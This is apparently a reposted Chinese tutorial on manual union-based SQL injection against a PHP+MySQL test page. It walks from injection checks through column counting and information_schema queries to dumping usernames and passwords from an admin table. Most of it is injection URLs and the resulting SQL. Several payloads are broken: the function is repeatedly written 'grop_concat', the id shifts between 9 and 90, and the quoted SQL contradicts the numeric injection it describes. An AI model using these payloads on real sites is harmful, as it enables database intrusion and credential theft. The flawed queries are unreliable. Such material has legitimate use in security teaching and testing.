php+mysql 注入基本過程


當mysql版本>5.0時我們只需要訪問information_schema庫即可查詢數據庫的相關概要信息,
而對於<5.0的版本則需要爆破,今天我們測試的環境是mysql 5.5.40,對於小於5.0的mysql不建議手工測試,
可以使用slqmap等注入工具輔助,成功率在於字典的大小。

在MySQL中,把 information_schema 看作是一個數據庫,確切說是信息數據庫。
其中保存着關於MySQL服務器所維護的所有其他數據庫的信息。
如數據庫名,數據庫的表,表欄的數據類型與訪問權 限等。

測試環境:id並沒有進行任何過濾處理從而造成典型的GET數字型注入
1.驗證注入:
and 1=1
url:http://127.0.0.1/test.php?id=9 and 1=1
sql語句:SELECT * FROM article WHERE id='9 and 1=1'
返回正常

and 1=2
url:http://127.0.0.1/test.php?id=9 and 1=2
sql語句:SELECT * FROM article WHERE id='9 and 1=2'
出錯

2.判斷字段數:

2.1order by查詢

url:http://127.0.0.1/test.php?id=9 order by 1,2,3,4
sql語句:SELECT * FROM article WHERE id = 90 order by 1,2,3,4

order by查詢:order by在sql語句中是對結果集的指定列進行排序,
比如我們想讓結果集按照第一列排序就是 order by 1 按照第二列排序 order by 2 依次類推,
按照這個原理我們來判斷他的字段數,如果我們按照他的第1列進行排序數據庫會返回正常,
但是當我們按照第100列排序,但是數據庫中並不存在第100列,從而報錯。
如:當我們測試到7時數據庫報錯,說明該表只有6個字段


2.2UNION SELECT 聯合查詢

url:http://127.0.0.1/test.php?id=9 union select null,null,null,null
sql語句:SELECT * FROM article WHERE id = 90 union select null,null,null,null

UNION SELECT 聯合查詢:可以用於一個或多個SELECT的結果集,但是他有一個條件,
就是兩個select查詢語句的查詢必須要有相同的列才可以執行,利用這個特性我們可以進行對比查詢,
也就是說當我們union select的列與它查詢的列相同時,頁面返回正常。
如:當字段為6個時頁面返回正常,而大於或小於字段數時都會報錯。

解決兩個小問題:
問題一:大部分程序只會調用數據庫查詢的第一條返回(我們這個也是),而通過聯合查詢出的數據中,
我們想看到的數據是在第二條中,如果我們想看到我們想要的數據有兩種方法,第一種是讓第一條數據返回假,
第二種是通過sql語句直接返回我們想要的數據。

方法一:我們讓第一個查詢的結果始終為假

url:http://127.0.0.1/test.php?id=9 and 1=2 union select null,null,null,null,null,null
sql語句:SELECT * FROM article WHERE id = 9 and 1=2 union select null,null,null,null,null,null

結果:返回為什么什么也沒有呢 因為我們的第二個查詢中並沒有查詢到什么 返回為NULL 自然就什么也沒有了
我們把語句放在mysql中看一下返回結果:

方法二:通過limit語句,limit在mysql中是用來分頁的,我們也可以通過他拿到我們想要的結果集

url:http://127.0.0.1/test.php?id=9 and 1=2 union select null,null,null,null,null,null limit 1,1
sql語句:SELECT * FROM article WHERE id = 9 and 1=2 union select null,null,null,null,null,null limit 1,1
返回也是空,同上面結果一樣

問題二:哪個列中的數據是在頁面中顯示出來的,可能有一些列中的數據只是用於后台程序對數據處理使用,
並不會在前台顯示,所以我們需要判斷哪個字段我們可以看到。如圖,我們通過數字代替了NULL進行查詢,
確定了2,3,4,5 四個字段可以在頁面中顯示。
回答一下為什么我們不一開始就是用數字,因為union select 不僅要求列的數量相同,同時數據類型也要相似。

url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,2,3,4,5,6 limit 1,1
sql語句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,2,3,4,5,6 limit 1,1


3.查詢庫名:

這里我們直接使用mysql自帶函數database()查詢 得到庫名:test
url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,database(),3,4,5,6 limit 1,1
sql語句:sql語句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,database(),3,4,5,6 limit 1,1

結果:顯示出test

4.查表名:

這里就用到了我們一開始說的information_schema庫,查表名我們主要用到的是TABLES表。
這里我們用到了group_concat它可以返回查詢的所有結果,因為我們需要通過命名判斷該我們需要的敏感數據。
這里我們的目標是admin表。

url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,grop_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='test'
sql語句:sql語句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,grop_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='test'

結果:顯示出所有表名,第一個為admin

5.查字段:
這里同樣使用information_schema庫,這里使用的是columns表。得到字段id,username,password

url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,grop_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='test' and table_name='admin'
sql語句:sql語句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,grop_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='test' and table_name='admin'

結果:id,username,password

6.查數據:
最終目標就出來啦!

url:url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,grop_concat(id,username,password),3,4,5,6 from admin
sql:sql語句:sql語句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,grop_concat(id,username,password),3,4,5,6 from admin
結果就出來了

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM